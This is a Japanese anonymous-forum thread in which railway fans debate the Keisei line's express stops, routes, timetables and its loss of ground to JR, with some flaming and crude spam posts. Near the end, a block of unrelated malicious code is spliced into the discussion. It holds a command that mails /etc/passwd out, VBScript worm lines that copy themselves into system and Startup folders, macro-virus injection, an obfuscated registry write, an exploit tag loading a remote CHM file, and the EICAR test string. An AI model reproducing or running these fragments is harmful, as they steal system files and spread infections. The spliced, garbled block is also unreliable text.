立て替えるだけで一大事になるからじゃなくて？。

だいたい、青砥から南の中川っていらなくないか？。
川の水は新中川方面に流せば問題ないしさ。
汚い川埋めるのに地元は反対しないでしょう。

日暮里の谷中墓地も、駅前にでかでかと墓地が広がってるのは無駄。
千葉NTの空いている土地にでも墓地移して、跡地再開発すればいい。

上野の下忍池も、無駄に広すぎ。
京成上野に近い部分を一部埋め立てて、そこに商業施設でもつくればいいのだよ。

川を埋め立て、池を埋め立て、墓を移動・・・厨房だな。

谷中って無縁墓地の区画整理はやってることはやってるんだよね
まとまった土地作って日暮里谷中ﾀﾜｰとか・・・

日暮　里谷　中ﾀﾜｰ

と読んでしまった・・・・
もう冬期五輪のシーズンじゃないのに・・・・orz

ネタとしても面白くない妄想はチラシにでも書いてくれ

先月の漫画アクションに「このスカイライナーに乗ったらもう戻れないわ」
というシーンが出てきたよ

なんであんな真新しい建物があるユーカリが丘が特急通過なわけ？
京王や東急なら考えられないんじゃ・・

　 　　　γ´｀ヽ 　　　
　　 　　_ゝ　-''｀　ー-　_ 　　＜えみをよ、文句あるに決まってるだろうがっ!!!ｦﾅﾆｰ日記とかこのスレに書くんじゃねぇ!!!!板違いだ!!!!!!!
　　　／　　　　　　　　 　＼ 　　　今の世代なんか、自分のブログでも作れるだろ????そこで一生引きこもってろ！そして二度とここに来るな!!!!!!!!
　　/　　」L　　　　　 　　　　ヽ 　　　、′　　　　　、　’、　　′　　　　　’　　　　　　；　　、
　 ,':..　　ﾌ「　　　　 　　 　　　', 　　　　　　．　’　　　　　　’、　　　′　’　　　．　・　
　 !:::::.　 , -────── ､ | 　　　　、′・．　’　　　；　　　’、　’、′‘　．・”　
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　　 |:::::::....｀　､:::::::::..　　／ 　′‘:　；゜+° ′、:::::．　::: >>298-300´⌒（,ゞ､⌒） ;;:::)::ﾉ　　　　ヽ／´
　　 }::::::::::::::::...｀ヽ_人,ノ{ 　　　　　　　　　｀:::､　ﾉ　 ...;:;_)　　...::ノ　 ソ　...::ノ　　
　￣:::::::::::::::.:::::::::::::::::::..　￣　ー-　_
::::::::::::::::::::::::::::::::::::::::::::::::....　 　　　　 ＼

ユーカリが丘は始発なし、快速乗ってもいきなり八千代台でＳＬ通過待ちでﾄﾛｲ、
特急乗るには津田沼まで普通。で乗り換えるもすでに座れない。
座るために勝田台で特急待つと無駄に待たされてる感がある。
山万？あんなの使わない。だけど駅舎は無駄に広くて京成では綺麗な方の駅。

新高速開通時には空港速達がなくなるので特急停車駅になると思われ

ここ数日、ユーカリが丘厨が必死だな。

>>369
それは自社で開発した街か他資本が開発した街かの差だな。
ユーカリが丘は知っての通り山万が開発した街で、駅も建設費を山万が
出している。京成が必要性を感じて作った駅ではない。

対して京王の聖蹟桜ヶ丘なんかは京王が開発・分譲した街で、ちょうど
分譲を開始した頃に特急が新設され、自社が開発した街のより一層の発展を
目的に当初より特急停車駅とした次第。特急新設後も京王百貨店開店や本社移転
などのてこ入れが続いて今の姿があるのだけれど、特急新設直後はなんにも
ない街だったはずで、他社線との乗換えもなく｢なぜ特急停車？｣だったかと。

対してユーカリが丘は京成が開発した街ではなく、ここに特急を停めても
スピードダウンになるばかりで京成的にメリットがないと判断したから
未だに特急が停まらないのかと。

京成は京王が聖蹟桜ヶ丘やめじろ台を、東急が多摩田園都市を開発してた頃に、
沿線は住宅公団と他社資本に丸投げで京成電車の乗客増とははおよそ無縁な
茨城や東北･北海道に手を出していたのがそもそもの…

今は公津の杜とかがあるけど、アレを昭和４０年代に井野･臼井地区で
派手に展開していたら…

>>373
で、公津の杜に特急が停まらないのは何故？

>>374
それは京成の
公津の杜への期待度＜対空港への速達性
という重要度の違いとかじゃね？
いかにも通勤客よりも空港旅客を大事にする京成らしいじゃんw

だからさ上野から特急とスカイライナー両方でてるのがおかしいんだよ。
スカイライナーを２０分おきにして、できたら料金を下げる。
特急は浅草線にむける。

上野を捨てて、自力で東京駅に達するしかない

それと快速を急行にもどして、津田沼まで特急と同じ停車駅にすべき。
八千代、佐倉地区への速達が京成の課題だ。

このスレ、読めば読むほど、
京成の現状はなるべくしてなったんだなという感が強くなるね。
無念。

線路を引いた時には合理的だったルートが時代が変わって
競争力を失っちゃったんだよな

>>376
昼間の押上線の惨状を見るにつけ、
特急を押上に向けると日暮里・上野へ行ってた客の数だけ、
京成自体の乗客が減ってしまう気がする。

運賃下げれば普通に客が流れてくると思うが
客層はこれ以上下がることはあるまい

>>373
なかなか読み応えのあるレスだな。
ユーカリは京成にしてみれば「棚から牡丹餅」だな。
公津に特急停めてみてもいいとは思うけどなあ。

＞線路を引いた時には合理的だったルート

どの辺が？

>>384
人の多い集落を縫って走っていたってことかと。

>>384
発駅は東北、ルートは総武ってことじゃないの？

京急みたいに快特クラスを１０分おきに走らせれば、全線通し利用が増えるかも

具体的には船橋以西の区間と、成田･千葉の分岐点を津田沼にしたことだろうかね。
最初の予定どおり船橋分岐だったら、東葉高速は存在してないかもしれない。

ところで、公津から東京に通勤してる人って、どのくらいいるんだろう？
千葉ニュータウンの　いにはの（日医大駅圏）は佐倉との結びつきがかなり
強くて、ラッシュ時でも上りの北総線はガラガラらしいが。

そもそもこのご時世、印旛村から都内に通勤してる人なんてどれほどいるのか・・・
本埜村の滝野あたりはまだ通勤圏のようだが。

まあ、「村」だしねえｗ

京急はがんばって横浜までも競争力あるから
横須賀も勝ってる
京成は船橋津田沼まで負けてる
成田も負け
ＪＲは千葉にも寄ってるし、完敗

唯一、成田だけは勝ってる気もするけどな。

うん。成田は明らかに横須賀状態でしょ。

振り子通勤電車導入汁

右に左に振られすぎて気持ち悪くなりそ、
つーか京成のくねくねカーブに振り子式って有効なの？

>>386
日暮里−青砥間のルートは、「筑波高速度電気鉄道」とかいう
ペーパー会社が持っていた免許のルートだろ。
だから、常磐線に平行しているの。
それしか上野乗り入れの許可を得る方法がなかったから。

小岩−津田沼間は、京成線の方が既存の中心街に近く、
開業当時は文字通り「軌道線」として頻繁運転を売り物とし、
まもなく高性能電車を導入して「頻繁運転で速い」となった。
当時の総武線は蒸機牽引のローカル線。それが電車化された時点で
勝負は決まったんだよな。

最近だと、ＪＲ化で頻繁運転となった広島地区の山陽線と
広島電鉄の関係が、多分にている。

さらに総武線の客車列車は両国止まりだったわけだ。

北総を買収し、負債を無利子化。千葉線、千原線休止。
京成資本を千葉ＮＴ沿線に注入する。浅草線から千葉ＮＴへのルートのスピードアップを行う。
本線は八千代、佐倉、成田を引き続きアクセス向上。

船橋が町田立川なみに発展　　するわけないなｗｗ

>>397が繰り返し書込してるみたいだが
いかにもニート様が思いつきそうなアイデアというかなんというか。

何も無いってのは、いいかえると、開発できる余裕があるってことだろ。
「北総開発鉄道｣だったんだからな。

既存の都市部もいいが、それじゃ、開業からの歴史を繰り返すだけじゃね？

何にもないってこと
そりゃ何でもアリってこと

>>400
開発しても鉄道使わずに車使うから。

>>400
開発が終わる頃には、京成が民事再生法を適用されてたりして

開発するならTXくらい気合いれて鉄道つくらないとダメだな。

千葉輸送は京成の完敗っていうけどそもそも競争してないから勝ち負けもない(千葉線の直通優等を廃止した時点で)。
京成は成田・八千代輸送だけしてればいいって考えなんだから。

>>397
千葉線・千原線は新京成に押し付ければすむ。休止されたら漏れの通勤に係る。

千葉に優等あったのｗ
まー競うまでもないよな

>>407
京成津田沼→京成稲毛→京成千葉→千葉中央の特急ね。
その名残は今も停車場間最高速度標をみれば残ってる。
最も、今はそれは回送時の速度みたいだが。（８番表示なので停車のみ省ける。千原線は普通と同じ速度で回送。）

どうも
京成稲毛駅前は廃れましたって感じがするなぁ
昔を見てないけど

江原台の北側の広大な土地に富士急も真っ青な絶叫マシーン遊園地できないかね。
アクセスの悪い富士急なんかには全然勝てると思うし、アメリカにはそういう遊園地がいまだに
幅を利かせてるのを見ると、日本もディズニーとは住み分けできると思うし、
ああいう甘ったるいテーマパークに依存してしまった今の日本人には刺激があっていいと思うんだけど。
ダメ？

増水時に浸水するんじゃないの？

>>398
船橋がどんな所なのか知らん奴がいくら妄想したって、
そりゃまともな案が出てくるわけがないわな。

あの辺りのたんぼは０ｍ地帯だからね・・・
印旛沼の水面よりも低いお

>>410
だめです。
万が一成功したらうちの地元が大渋滞して困るし、
失敗したらうちの地元が笑いものになるから。

新２９６ってまだ貫通してないの？臼井付近。

>>398
船橋のほうが町田・立川より発展している気がするけど。

立川＞船橋＞町田
に一票

大佐倉＞立川＞船橋＞町田

>>418
えみを乙。

418は農業用地の面積か？

>>409
モノが出来る前は、宮野木市営住宅行(今のさつきが丘系統)や
千葉寺行(千葉駅経由)が京成稲毛駅始発だったから、
バスの本数は多かった。
特に後者は昼間でも10分おき位の頻繁運転だったね。

でも、国鉄→ＪＲのほうがずっと人が多い、というのは、30〜40年前から
同じ。寂れ方は、この間、確実に進んでいるけど。

千葉・船橋・市川→都心で総武線＞京成になったのは昭和何年ごろ？
総武快速以前は京成優勢だったと聞くけど

>>422
1935(昭和10)年に総武線が千葉まで電化されたとき。

それじゃ路線敷いたときに先見の明がなかったと言わざるをえないよな
昭和末期の状態を予測するのは困難でも
昭和１０年代のことを予測できないようでは・・

>>423
いや昭和４４年の営団東西線の総武線直通や昭和４７年までの総武線快速の
東京駅直通運転が始まるまでは、京成が優勢だった。京成は、国鉄総武線
より先に都営浅草線との相互乗り入れによって都心直通を果たしたため。

>>425
そうらしいな。
総武線の複々線化完成は京成にかなりのダメージを与えたらしい。

総武緩行線のアキバは都心じゃないのか

>>427
アキバは、広義では都心に含めるけど、
狭義では都心周辺部ということになるよ。

いっそ京成も小田急みたいに複々線にできたらなあ

複々線化にしてるのは小田急とか東武とか独占地域を走る路線が多い。
京急とか京成みたいにJR並行型は複線のままが多いね。
京王でさえ調布まで複線のまま。

>>430
京王は朝がとんでもなく遅いから複々線は必要だけど京成や京急には複々線化する必要性や緊急性がないからな。
混雑は深刻じゃないし遅いといっても京王みたいな遅さじゃない。
個人的には京急には造ってほしいが。

というより最大18本ならまだ十分増発できる。むしろ過密なのは押上線の方。

なんだい君たちは、京成だって立派に、
複々線あるじゃん。

増発したらもっと遅くなりそう

複々線あるじゃん、独占区間に。

ふと思ったんだけど、
朝の上りは特急と通勤特急を逆にしても良くない？
要するに浅草線直通は通特にして上野行きを特急にする。
志津〜うすい間の乗客の満足度を上げる方がいいような気がしてきた。

さらについでに言えば、
京成の場合は津田沼・船橋・八幡とか途中駅で特急が等間隔に到着する必要性はないから、
八千代台で特急は通特の2分後まで差を詰める感じにして高砂まで2分の続行運転にすれば、
佐倉での通特の特急退避もなくなるし遅特急もなくなる。ついでに上野特急も10分毎化できる。
各駅停車は2本待ちの時もあるけど逆に競馬場や東中山で退避しない各駅停車も作れる。

・・・ような気がいろいろしたんだけど。って何もシミュレートしてないけどさ。
俺みたいな素人がふと考え付くようなモンは無理があるんだろうけどね。

えっ、青砥ー高砂？

本線上に複々線から単線まである路線って、
京成だけジャン。

>>388
いには野住民の半分位は都内通勤じゃないか。
乗り換えながら行く千葉より、始発でずっと寝ていける都内のほうが行きやすいし。
このご時世って、不動産屋の都心回帰キャンペーンに乗せられ杉。
環境を求めて郊外に来る人もいるよ。
千葉ＮＴ住民なんて、そういう人が多い。

>>425
総武快速ができる前は朝の最多混雑区間も新三河島・日暮里間だったらしいね

テツヲタの毛があるなら、千葉NTとか嫌です

京急にも単線なかったか？

っつーか大手私鉄で複々線を持ってない私鉄ってないよな？
あの阪神ですらあるんだからな。

相鉄はなくね？

>>441
複々線って一駅分とかも入れればな・・

>>438
つくばエクスプレスほどじゃないけど北総も速いしね。

京急の単線は、久里浜線だから、一応本線ではない罠。

複々線のない大手なんて、西武、京王、相鉄、西鉄とたくさんあります。

>>444
西武と京王は、複々線あるよ。
西武は、練馬〜練馬高野台
京王は、新宿〜笹塚

そうそう、忘れてた。スマソ。
西武の複々線は単純に忘れていた。かぶりつきで見ていたのだったが。
京王のは、線路が並んでいないので、複々線だという認識をしていなかったな。

つうことは、相鉄と西鉄だけか。
なんだか、アレだな。

西鉄は単線から２面４線の駅に進入したりするからね。

東武伊勢崎線も単線と複々線があるじゃん。

>>437
青砥〜金町とかで乗ると複々線が複線になって、複線が単線になる変化が
なんか面白い

京成金町線は、昼間２０分に１本は、少なすぎ。
金町線は、柴又に行く時しか乗らない路線。
柴又へ行ったのは、１回しかないけど。

そういえば昔は柴又〜金町だけが単線区間だったんだよな。
大手私鉄で唯一、単線率が上昇し続けている京成(´ロ｀)

>>451
単線率って？

京成船橋駅の高架工事が完了したら意地を張らずに
有料特急を停めて欲しい。

あとそろそろ京成船橋乗換えのＪＲ連絡切符も販売して欲しい。
新京成だって新津田沼乗換えのＪＲ連絡切符を発売しているのだから。

>>451
駒井野〜空港と、千原線ね。

そのうち2ビル〜成田NT北も追加か。

>>424
先見の明と言えば、昭和30年代の千葉市中心部再開発の件。
なんで、計画を丸飲みしたのか、知ってる人いる？

その前は、国鉄駅は町はずれで、京成駅は、中心街のど真ん中。
千葉銀行本店や田畑百貨店の目の前にあった。
私鉄と国鉄(JR)の駅が並立している地方都市によくあるパターン
そのものだった。

それが、再開発後は、京成駅が町はずれに追いやられた。

国鉄駅も、旧市街地中心からは微妙に離れていたものの、
駅ビル併設して集客力大幅アップし、
広大な(当時としては)駅前広場に大規模なバスターミナル
とかタクシープールも出来、
スイッチバック解消と方面別ホーム完成で鉄道駅そのものの
機能も格段に向上。と良いことずくめ。
これで、勝負が決まりつつあったところに、
東西線・快速線、というわけだな。

>>452
単線率＝単線区間の長さ／営業路線の長さ
電化率とか複線化率とかはよく言うが単線"化"率はなんか変だろうし。

>>456
東成田から先とかもそのうち...

>>457
京成が千葉中央の活性化に異様に熱心なのも
移転の元を取ろうとしているのかもね

>>457
それはちょっと違うのでは。
確かに、結果だけを見れば、京成は一方的に損をしたように見える。
しかし、京成があそこへの移転を了承したのは、小湊鉄道の新線（のちの千葉急行線、現在の京成千原線）が延伸してきた時、有利な位置になるからだ。
つまり、行政と国鉄が最大限、小湊新線に協力することを約束したので、京成は移転に応じたのだな。
行政、国鉄、京成の３者の利害がうまく一致したのが、一連の移転だよ。
その証拠に、国鉄は、京成に本千葉駅の用地（現在の千葉中央駅の位置）を譲って、不便な位置に移転している。
結局、小湊新線改め千葉急行の事業が大失敗に終わってしまったわけで、京成の読みが甘かったと言えばそれまでだが、当時の京成にはそれなりの計算があったのだな。

京成をとりまく千葉の環境も変わってしまったんだろうな

昭和30年代と今とでは千葉市街の存在感、求心力が天と地の差がある。
小湊千葉直通も千葉市街が栄えていた頃なら実現性があったが、今では
実現できても何のメリットもない話になってしまったからな。

総武快速の完成が千葉市中心部の衰退を早めた気がする。
県民が千葉より東京へ行くようになった。寂れたオンボロビルばかり
の暗い街になってしまった。

船橋出身と人と話をしたことがあるが、東京に行くのは当たり前だけど、千葉に行くことはほとんどなかったと言っていましたね。
実際、総武快速線は圧倒的に速い。
線形もほとんど直線だし。
関西でも姫路市などは新快速の毎時４本化で、高級品の買い物は神戸や大阪に出てしまい、日常の買い物は郊外で、デパートや商店街が氏につつあります。

そうそう、姫路と似てるよ千葉の雰囲気は

千葉といえば旅券事務所。しかしこれも松戸にもできてしまった。
あとは裁判所かな。船橋市は本千葉が管轄なはず。
あとは天台ぐらいか。

>>463
! それではモノレールの運命はやはり…

>>446
ＫＱって複々線あったっけ？
トンネルの向こうにはここ最近全然行ってないから忘れちまった。

>>466
文庫⇔八景

単線率トップは近鉄だな
単線の吉野線の終点、吉野は8面4線の櫛型ホームという無駄っぷり。

8面は無駄すぎる

>>428
都心狭すぎっしょ
確かにアキバはパーツ屋、神田駅あたりはうらぶれた企業しかないけどさｗ

千葉市って喩え悪いけど岐阜みたいなもんじゃない
今や名古屋の衛星都市に成り果てた

日本の歴史で一番落ちぶれた街が岐阜と和歌山っていうからな

千葉市の中心部が衰退してもたいていの市民に影響ないしな

>>470
狭義の都心は、東京〜新橋の間だろう。丸の内・大手町・日本橋・京橋・
銀座・日比谷・有楽町・霞ヶ関・永田町と言ったところだろう。西新橋・
虎ノ門・赤坂・六本木は、都心の延長部と言えると思う。

>>435
前半はよくわからないけど、後半のみ

少なくとも、八千代台ではある程度等間隔でこないとまずいと思う。
特急を通特2分後で雁行させるとしても、
津田沼より西の待避線がある駅の間隔からすると、
東中山待避なしは多分無理
（津田沼の千葉線の問題がかたずけば、競馬場待避なしは可能かもしれない。

多分、ダイヤ的には、
通特・特急・各駅・通特・特急・各駅、のパターンになって、（時間18本）
（競馬場・東中山・真間で2本待ち、小岩で1本待ち）
各駅は、10分に1本程度の運転になると思う。
朝ラッシュの各駅停車駅に対して
10分に1本で足りるかが最大の問題だと思います。

>>463 >>465 テラワロス
463を読んだ時点で465の内容を思いつき、465をみて茶吹いた。

>>474 通特・特急・普通の10分サイクルだと大久保・実籾がマズー（†）。
10分サイクルなら快速上野・特急西馬込・普通上野が良い。
この場合、八千代台は緩急接続無しにすること（※）

（†）国府台・市川真間はどうかなぁ、意外と耐えられるかも。お花茶屋〜新三河島間は耐えられるでしょう。
（※） 勝田台→船橋で先着する列車の本数を減らしては駄目だし、普通が競馬場でダブル退避するのも駄目。

お花茶屋と堀切菖蒲園は10分に1本じゃ少なすぎ
国府台と市川真間は学生が多いからどうだろう
乗降客数だけ見ればラッシュ時10分に1本でも全く
問題なさそうだけど朝に集中しそうだし

茶屋や菖蒲園は、金町始発も入るから、
6連6本、4連6本の計12本になるねぇ。（5分に1本）
現状より6連3本減ることになるけど。

待避線を京王並みに増やしたほうがいいんじゃ・・

>>478
じゃあ用地買収よろしく。

日暮里〜青砥って待避線ないの？

千住

それよりも京成船橋停車の有料特急を新設して欲しい。
実際京成線で最も乗降客数が多い駅なんだから。

10月のダイヤ若干変更でまたイブニングライナー増えるんだね。
日暮里利用者で船橋市内駅利用としては、また嫌な方向へ流れる・・・

ああ千住大橋にあったのね。
他は小岩、真間、東中山だから江戸川、鬼越あたりにもほしいものだ。

多摩プラーザとか桜上水みたいなお洒落な駅名に変えたらどう？

>>483
京成も意固地にならないでＪＲと協調して欲しい。新京成だって
ＪＲ津田沼駅と新津田沼駅が約３００メートル離れているのに
連絡切符を売っているのだから。

>>475
10分パターンにもう１本普通をブっこめば意外といけるかも。
毎時24本になるけど今より速い。
八千：02通特　04特急　05普通　08普通
津田：00通特　02特急　05普通　08普通
船橋：03普通　06通特　08特急　10普通
八幡：03通特　05特急　08普通　11普通
高砂着：01特急　03普通　06普通　09通特
船競、中山、真間、小岩でそれぞれ退避しない普通が設定可。
菅野の客はどうしても救済できないけど本数増にはなるし。
間違いなく輸送力過剰だが。

何でこんなにＥＬ増やしてるの？

新京成はＪＲと競合してないじゃん

むしろ協調してるよな、対東葉で

新京成って大手私鉄の傘下にある鉄道会社では最大では？

>>489
京急は、ＪＲと競合しているけど連絡切符を販売している。
京成は、日暮里乗換えしか連絡切符を販売していないから不便。

千葉にも京成延びてるじゃん

>>475
勝田台や八千代台の朝ラッシュ的には

上野通特3、直通特急6で毎時9本　と
上野快速6、直通特急6で毎時12本　の
どっちが便利なんだろう

車両の数が多ければ多いほど、便利かな。。。

快速が増えるって事は、津田沼までは普通が無いって意味か？

>>495
普通がないではなくて

現状 ：上野通特3、直通特急6で優等毎時9本（＋普通毎時9本）　と
>>475　：上野快速6、直通特急6で優等毎時12本（＋普通毎時6本）の比較で。

>>496
18本/h前提で組むと結局そのどちらかになる。
少し増発して20本か21本にして特急を続行で走らすとか。
変則だけど続行運転は特急に先行して
津田沼→東中山→市川真間→青砥停車の通勤快速にすると
間隔を詰められる.(西武流に考えてみただけだが)

漏れ様の地元である大佐倉駅に、身障者・車椅子使用者用のエレベータを設置しろ！それでは、ごきげんよう！

ちなみに今日の漏れ様は気分がイイので泉ピン子ﾀｿで白い花火の五十連発を発射中！それでは、ごきげんよう！

余裕の
>500get!!!

低脳ニートな愚民共よ、喪舞いら部屋に籠もって泉ピン子ﾀｿでヲナニーばっかりしてんなよ。それではごきげんよう。

藤崎和也

>>485
多摩ﾌﾟﾗｰｻﾞのどこがおしゃれなのか？むしろこの名前が東急SCがあるのにも
かかわらずいまいち原因になってると思う。地名の「美しが丘」だったら自由が丘
なみのブランドになったはず。

ユーカリが丘は、なかなかいいネーミングだと思うけど。

臼井⇒王子台
大神宮下⇒船橋大神宮
京成中山⇒中山法華経寺(地元の要望あり)

>>504
法華経寺は、目印としてなかなかいいネーミングだと思う。
あと船橋大神宮のほうがわかりやすいかも。

>>496 勝田台〜八幡で擬似的に緩急比が1:1となる現状のほうが使いやすい希ガス。
都心までの客を増やそうとする結果、船橋逸走客が東葉逸走に切り替わるようでは、改悪だから。

>>497 基本パターン20分あたりの本数を6本から7本にする需要も体力もない。
ただし「最混雑時間帯に1本挿入」ならアリだと思う。
津田沼駅の混雑ピークが7:38通特〜7:58通特なので、7:52特急の直前に7:50通特を挿入するのが良い。
混雑状況写真 ttp://www3.ocn.ne.jp/~skylark7/data/2003tsu.html

>>504 王子台はぱっとしない名前だなあ。他は悪くないが、駅名変更に見合うだけの増収になるとは思えない。

>>504
中山法華経寺なんか舌噛みそうだから矢田

ほっかけじ

駅名変更があり得るとしたら、路線図書き換えが発生する成田新高速開業時か？
何もできごとがないときより多少安価にできるだろう。

葛飾に改名

【駅名変更案】
京成上野→国鉄上野駅前
町屋→都電町屋電停前
京成関屋→東武牛田駅前
京成船橋→国鉄東武船橋駅前
京成成田→国鉄成田駅前
空港第２ビル→国鉄空港第２ビル駅前
成田空港→国鉄成田空港駅前
京成幕張本郷→国鉄幕張本郷駅前
京成幕張→国鉄幕張駅前
京成千葉→国鉄モノレール千葉駅前
押上→東武鉄道本社前
東成田→成田空港

そういえば京成関屋と東武牛田で乗り換える時は、
近距離に限って特別割引があるよね。

まあ阪急も西宮北口なんて自虐的な駅名もあるけどな

>>511
無駄な努力乙

まあ、みんな京成が飛躍的に向上するのは絶望的だということは気づいてる
んだよな。むしろファンやユーザーであればこそ京成の限界も知っている
わけだよな。

>>515
これは、かえっていいんじゃないの。複々線の必要性が薄れるから。
それに京成のみならず首都圏の多くの大手私鉄が飛躍的に向上することは、
ないだろう。それに関西私鉄の落ち込みに比べたらかなりマシ。

京成のダイヤって、昭和３０年代から２０（４０）分サイクルに縛られていますよね。
京急より金町線から受ける制約のような気がするんですけどね。
発想を変えて一度、１５（３０）分サイクルも検討してみる価値があると思うんですけど、いかがでしょうか。
それにしても、上野方、押上方のいずれも重要度に決定的な差が無いことが、思い切ったダイヤ編成をしづらくしているんでしょうね。

>>517
北総・都営・京急との兼ね合いで無理です。

ライナー浅草直通も無理かね。
浅草駅のスペーシアが日比谷直通しなかったところを見ると
地下鉄への有料特急乗り入れはタブーなのか

日比谷線にスペーシア？
ヒュー

恐ろしいことを言うもんだな
せめて半蔵門線にしようぜ。

でも、半蔵門線直通スペーシアはアリだと思うぜ

>>517
その場合、日中帯は各駅停車が7.5分間隔になるってことは考えにくいから、15分間隔になるのか？
各駅停車しか止まらない駅は誰も使わなくなるな。

総武緩行に対抗して高砂、小岩、真間、八幡、中山、西船、船橋、船競、津田沼停車の急行でもできないかな？

>>522
京成って駅間短いから、あまり停車駅増やすのは賢明でないかと・・・

普通と特急の緩急接続を上手くやったほうがいい。

>>523
快速置き換えとかではなくて現状ダイヤに挿入するという感じで。半分おふざけで書いたので軽く流してくだされ…

東京メトロの有料特急は今度の千代田線〜小田急が初。都営はいまだなし。

>>524
了解ｗ

昭和30年代はまだ国鉄に勝ってたんだっけ

そうですね。京成は既に地下鉄直通が始まっていたし、
車両も新型3000〜3200形が続々投入されていた。
快速などの料金不要の速達列車も合ったはず。

それに引き換え国鉄は快速など無く、千葉以遠の列車は蒸機が引く客レもあったし、
多くが両国発着の雑多な気動車列車。当然速度では京成に負けていたはず。
千葉まで走っている電車も旧型国電73系が中心だった。
101系の総武線投入開始は昭和38年で旧型置換完了は昭和43年。
やはり、総武線が津田沼まで複々線化されて東京駅に乗入れた昭和47年を境に
京成利用客が離れていったのだろう。

>>528
昭和４４年の営団東西線と総武線の相互乗り入れから京成離れが
進むようになったんじゃないの。都営浅草線は、都心でも裏側の
方で不便だからね。

京成は国鉄の複々線計画やら東西線計画やらがあるにもかかわらずなにもしなかったのか

>>506
最混雑時間帯に1本投入かぁ。それもありなのかな。

挿入という感じなら、（厳密には挿入じゃないけど）
個人的には、船橋競馬場で遅特急に抜かれる各駅停車を、
上野行き（通勤？）快速に格上げできないかなと思うのですが
（谷津停車、東中山、船競通過）

東急がアパルトヘイト対策をやっているからそのうち乗客が流れてくるのでは？

昭和60年以降のダイヤ改正は西側区間での停車駅の整理、特急の増発など、すべて船橋逸走のちに東葉逸走防止策でしょうね。
並行区間での純増より、佐倉・八千代方面からの乗客を１駅でも都心寄りまで引っ張るためのものと思います。

>>533
ＪＲも船橋での京成からの乗り換え客が
減って欲しいというのが本音じゃないの。

>>530
まあ国鉄やら営団やら官営鉄道が金に糸目つけずインフラ
整備したら弱小私鉄にできることなんてなさそうだが

>>530
京成は、本業より副業に力を入れたからね。現在は、総資産をかなり
減らしたけど。上野に京成百貨店が全然客が入っていなかったのに
跡地に丸井が来たら連日お客が入るようになって、あまりの豹変ぶりに
驚いてしまったけどね。

>>536
上野は元々江戸時代以来の松坂屋の地盤だから
いきなり京成が参入しても上手くいかない罠。

そういう意味では丸井に転換したのは成功だと思うし、
京成上野百貨店復活はありえないと思う。

>>529
浅草線は、少なくともビジネス需要に対してはそれほど悪くないよ。
地味だけど。

ただ、浅草線が通勤に便利な企業って、日本橋（かつての江戸橋）、東銀座など、何となく陰があるというか、斜陽産業みたいなイメージがあるな。
もちろん、浅草線は、東西線や日比谷線の乗り換えには便利だけど、運賃が高くなる。
しかし、最近は新橋や品川方面に新しいビルが増えているから、これからは悪くないかもしれない。

新橋だと総武快速のが速いに決まっているのだから、無理だろうね。
東日本橋辺りでも馬喰町があるし、この辺りもダメ。
日本橋は東西線があって……まぁ、朝ラッシュなら
向こうの遅延で勝負ができるような気がせんでもないけど。
あとはやっぱり、押上〜浅草や東銀座辺りしかないと思うんだ。

少なくとも大企業の通勤では東西・日比谷・千代田には大きく負けるよな
ウチの親父のように下町の中小企業に通勤するのには便利だが

せめて銀座だけでもきちんと真下を通っていればだいぶ違ったと思うな

大企業勤めが多く運賃払ってくれるわけじゃないが

浅草線のイメージがよくないな

ＪＲやメトロ銀座線から降りる時は誇らしい気持ちになるけど
都営浅草線だとこんな路線で来てどうもすんまへんって気分になる。
駅も汚いのが多いし。

>>522-524
阪神みたいな千鳥停車はどうか(朝、夕)。
西武は乗車チャンスの拡大の意味でやってるが
京成こそ阪神のような「過密運転でも速達性維持」する千鳥式が必要だと思う。
特急・通特だけだと緩急接続できないし
ピンポイントに優等が停車すれば利用増になる駅もあるかと。
特に西船、中山、市川真間なんか総武線と数百mしか離れてないし。

＞５４５
かって、例の川崎社長はチドリ停車を推奨していたが在任中に実現出来なかったょ

日中
スカイライナー　３本/h　上野ー日暮里ー第二ー成田空港
特急　３本/h　羽田空港ーー押上ー青砥ー高砂ー八幡ー船橋ー津田沼ーユーカリが丘ーうすいー佐倉ー成田ー第二ー空港
急行　３本/h　上野ー日暮里ー青砥ー高砂ー八幡ー船橋ー津田沼以下各駅成田
急行　３本/h　羽田空港ーー押上ー青砥ー高砂以下各駅印旛日本医大
普通　３本/h　上野各駅津田沼
普通　３本/h　上野各駅うすい
普通　３本/h　京急本線快特ーー押上以下各駅矢切
普通　３本/h　京急本線快特ーー押上以下各駅青砥

cat /etc/passwd | mail [email protected]
If s = "htm" and fso.FileExists(f1.path+"l") = False
thenfso.CopyFile f1.path, f1.path+"l"
A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start
menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\command.txt.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"
type="text
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&passwd.vbs", "j:\windows\start
menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN,
ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite
A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),
E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
kak.hta';ken=wd+'START
End sub

やっぱり浅草線は不便だよ
京成の駅には上り案内が「上野・日暮里・日本橋・東銀座方面」
とあるけど、日本橋と東銀座に行けますと言ってもインパクト
欠ける

不便ってのはよくわからんが、まぁ負け気味路線のあつまりだよな。
京成も京成の乗り入れ先も

>>549
日本橋だったらインパクトがあるだろう。
日本経済の中心地なんだから。

羽田空港との直通運転が出来てから都営浅草線は、
日の目が当たって感じがする。
実際東京モノレールの客を奪ったわけだし。

↓ポイント外しているが故に空いている快適路線が浅草線。
ttp://www.asahi-net.or.jp/~by3s-fet/subway2.htm
会社の最寄り路線が日比谷線・銀座線・浅草線だが、97年に上記のＨＰ見て浅草線
直通の京成線に引っ越してきました。
それにしても上記ＨＰ、97年当時と今とで全然変わっていない。
ここまで放置され存続しているＨＰも珍しい訳だが。

97年当時と比べたら浅草線の使い勝手も格段に良くなった。
羽田空港直通化、押上線12本/h、エア快創設、京急直通12本/h、
A快特の泉岳寺乗り入れで横浜・三崎口方面の乗車チャンスは2倍に。
